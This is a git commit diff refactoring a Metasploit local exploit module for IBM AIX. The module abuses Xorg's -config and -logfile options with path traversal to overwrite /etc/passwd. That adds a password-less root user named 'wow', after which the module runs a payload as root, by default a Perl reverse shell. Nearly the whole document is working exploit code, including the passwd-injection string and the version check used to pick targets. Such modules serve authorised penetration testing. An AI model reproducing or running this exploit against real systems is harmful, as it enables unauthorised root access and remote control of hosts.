refactor version check, reduce verbosity

This commit is contained in:
Zack Flack 2019-02-11 23:50:09 +08:00
parent 92063560eb
commit 5fde493add
1 changed files with 69 additions and 77 deletions

View File

@ -4,16 +4,14 @@
##
class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking
Rank = GreatRanking
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Xorg X11 Server Local Privilege Escalation',
# TODO: Finish description
'Description' => %q(
This module is a port of the OpenBSD X11 Xorg exploit to run on AIX.
@ -22,8 +20,8 @@ class MetasploitModule < Msf::Exploit::Local
the ability to elevate privileges and run arbitrary code under root
privileges.
This module has been tested with AIX 7.1, however it should also work with 6.1 and 7.2.
Due to permission restrictions, this module does not use cron to launch the payload,
This module has been tested with AIX 7.1 and 7.2, and should also work with 6.1.
Due to permission restrictions of the crontab in AIX, this module does not use cron,
and instead overwrites /etc/passwd in order to create a new user with root privileges.
All currently logged in users need to be included when /etc/passwd is overwritten,
else AIX will throw 'Cannot get "LOGNAME" variable' when attempting to change user.
@ -33,7 +31,7 @@ class MetasploitModule < Msf::Exploit::Local
),
'Author' => [
'Narendra Shinde', # Discovery and original FreeBSD exploit
'Zack Flack <dzflack[at]gmail.com>' # Metasploit module
'Zack Flack <dzflack[at]gmail.com>' # Metasploit module and original AIX exploit
],
'License' => MSF_LICENSE,
'DisclosureDate' => 'Oct 25 2018',
@ -48,13 +46,13 @@ class MetasploitModule < Msf::Exploit::Local
'Arch' => [ ARCH_CMD ],
'SessionTypes' => [ 'shell' ],
'Payload' => {
'Compat' => {
'Compat' => {
'PayloadType' => 'cmd',
'RequiredCmd' => 'perl',
}
},
'DefaultOptions' => {
'Payload' => 'cmd/unix/reverse_perl'
'Payload' => 'cmd/unix/reverse_perl'
},
'Targets' => [
['IBM AIX Version 6.1', {}],
@ -72,24 +70,19 @@ class MetasploitModule < Msf::Exploit::Local
end
def check
print_status('Running checks')
xorg_path = cmd_exec('command -v Xorg')
unless xorg_path.include?('Xorg')
print_error('Could not find Xorg executable')
return Exploit::CheckCode::Safe
end
print_good("Xorg found at #{xorg_path}")
ksh93_path = cmd_exec('command -v ksh93')
unless ksh93_path.include?('ksh')
print_error('Could not find Ksh93 executable')
return Exploit::CheckCode::Safe
end
print_good("Ksh93 found at #{ksh93_path}")
fileset_version_vulnerable = determine_version()
unless fileset_version_vulnerable
unless xorg_vulnerable?
print_error('Xorg version is not vulnerable')
return Exploit::CheckCode::Safe
end
@ -98,80 +91,83 @@ class MetasploitModule < Msf::Exploit::Local
end
def exploit
check_status = check
status = check
if check_status == Exploit::CheckCode::Safe
fail_with(Failure::NotVulnerable, 'Target not vulnerable')
if status == Exploit::CheckCode::Safe
fail_with(Failure::NotVulnerable, '')
end
unless writable?(datastore['WritableDir'])
fail_with(Failure::BadConfig, "#{datastore['WritableDir']} is not writable")
end
xorg_path = cmd_exec('command -v Xorg')
ksh93_path = cmd_exec('command -v ksh93')
print_status('Opening /etc/passwd')
passwd_array = read_file('/etc/passwd')
passwd_array = passwd_array.split("\n")
xorg_payload = generate_xorg_payload(xorg_path, ksh93_path)
xorg_script_path = "#{datastore['WritableDir']}/wow.ksh"
upload_and_chmodx(xorg_script_path, xorg_payload)
print_status('Retrieving currently logged in users')
users = cmd_exec('who | cut -d\' \' -f1 | sort | uniq')
users << "\n"
users = users.split("\n")
print_status('Generating Xorg command')
unless users.empty?
users_logged_in_passwd = ''
users.each do |user|
user << ':'
passwd_array.each do |line|
if line.index(user) == 0
users_logged_in_passwd << '\n'
users_logged_in_passwd << line
end
end
end
end
# TODO: Systems where there has to be a password?? generate static password?
blob = "-config $\'#{users_logged_in_passwd}\\nwow::0:0::/:/usr/bin/ksh\\n#\'"
script_path = "#{datastore['WritableDir']}/wow.ksh"
# TODO: Has to be better way of doing a relative path for /etc/passwd?
xorg_payload = %Q^#!#{ksh93_path}
#{xorg_path} #{blob} -logfile ../../../../../../../../../etc/passwd :1 > /dev/null 2>&1
^
upload_and_chmodx(script_path, xorg_payload)
print_status("Backing up /etc/passwd to #{datastore['WritableDir']}/passwd.backup")
cmd_exec("cp /etc/passwd #{datastore['WritableDir']}/passwd.backup")
register_file_for_cleanup("#{datastore['WritableDir']}/passwd.backup")
print_status('Executing /tmp/wow.ksh')
cmd_exec("#{script_path}");
passwd_backup = "#{datastore['WritableDir']}/passwd.backup"
print_status("Backing up /etc/passwd to #{passwd_backup}")
cmd_exec("cp /etc/passwd #{passwd_backup}")
register_file_for_cleanup("#{passwd_backup}")
print_status("Executing #{xorg_script_path}")
cmd_exec("#{xorg_script_path}");
print_status('Checking if we are root')
if is_root?
root_payload = %Q^#!#{ksh93_path}
if is_root?
shell_payload = %Q^#!#{ksh93_path}
#{payload.encoded}
^
payload_path = "#{datastore['WritableDir']}/wowee.ksh"
upload_and_chmodx(payload_path, root_payload)
shell_script_path = "#{datastore['WritableDir']}/wowee.ksh"
upload_and_chmodx(shell_script_path, shell_payload)
# TODO: Maybe add support for non perl payloads?
print_status('Executing payload...')
cmd_exec("#{ksh93_path} -c \"echo #{payload_path} | su - wow &\"")
print_status('Executing shell payload')
cmd_exec("#{ksh93_path} -c \"echo #{shell_script_path} | su - wow &\"")
print_status('Cleaning up /etc/passwd. Add user for persistance')
cmd_exec("su - wow -c \"cp /tmp/passwd.backup /etc/passwd\"")
print_status('Restoring original /etc/passwd')
cmd_exec("su - wow -c \"cp #{passwd_backup} /etc/passwd\"")
else
fail_with(Failure::PayloadFailed, '')
end
end
def determine_version()
xorg_version = cmd_exec("lslpp -L | grep -i X11.base.rte | awk '{ print $2 }'")
print_status("Xorg version is #{xorg_version}")
xorg_semantic = Gem::Version.new(xorg_version)
def generate_xorg_payload(xorg_path, ksh93_path)
passwd_file = read_file('/etc/passwd')
passwd_array = passwd_file.split("\n")
print_status('Retrieving currently logged in users')
users = cmd_exec('who | cut -d\' \' -f1 | sort | uniq')
users << "\n"
users_array = users.split("\n")
logged_in_users = ''
unless users_array.empty?
users_array.each do |user|
user << ':'
passwd_array.each do |line|
if line.index(user) == 0
logged_in_users << '\n'
logged_in_users << line
end
end
end
end
passwd_data = "$'#{logged_in_users}\\nwow::0:0::/:/usr/bin/ksh\\n#'"
# TODO: Has to be better way of doing a relative path for /etc/passwd?
return %Q^#!#{ksh93_path}
#{xorg_path} -config #{passwd_data} -logfile ../../../../../../../../../../../../etc/passwd :1 > /dev/null 2>&1
^
end
def xorg_vulnerable?
version = cmd_exec('lslpp -L | grep -i X11.base.rte | awk \'{ print $2 }\'')
print_status("Xorg version is #{version}")
semantic_version = Gem::Version.new(version)
vulnerable_versions = [
['6.1.9.0', '6.1.9.100'],
@ -184,8 +180,8 @@ class MetasploitModule < Msf::Exploit::Local
]
for version_pair in vulnerable_versions do
if xorg_semantic >= Gem::Version.new(version_pair[0]) &&
xorg_semantic <= Gem::Version.new(version_pair[1])
if semantic_version >= Gem::Version.new(version_pair[0]) &&
semantic_version <= Gem::Version.new(version_pair[1])
return true
end
end
@ -194,13 +190,9 @@ class MetasploitModule < Msf::Exploit::Local
end
def is_root?
id_output = cmd_exec('su wow -c "id"')
id_output = cmd_exec('su - wow -c "id"')
if id_output.include?("euid=0")
print_good('Got root!')
return true
end
if id_output.include?('uid=0')
if id_output.include?('euid=0') || id_output.include?('uid=0')
print_good('Got root!')
return true
end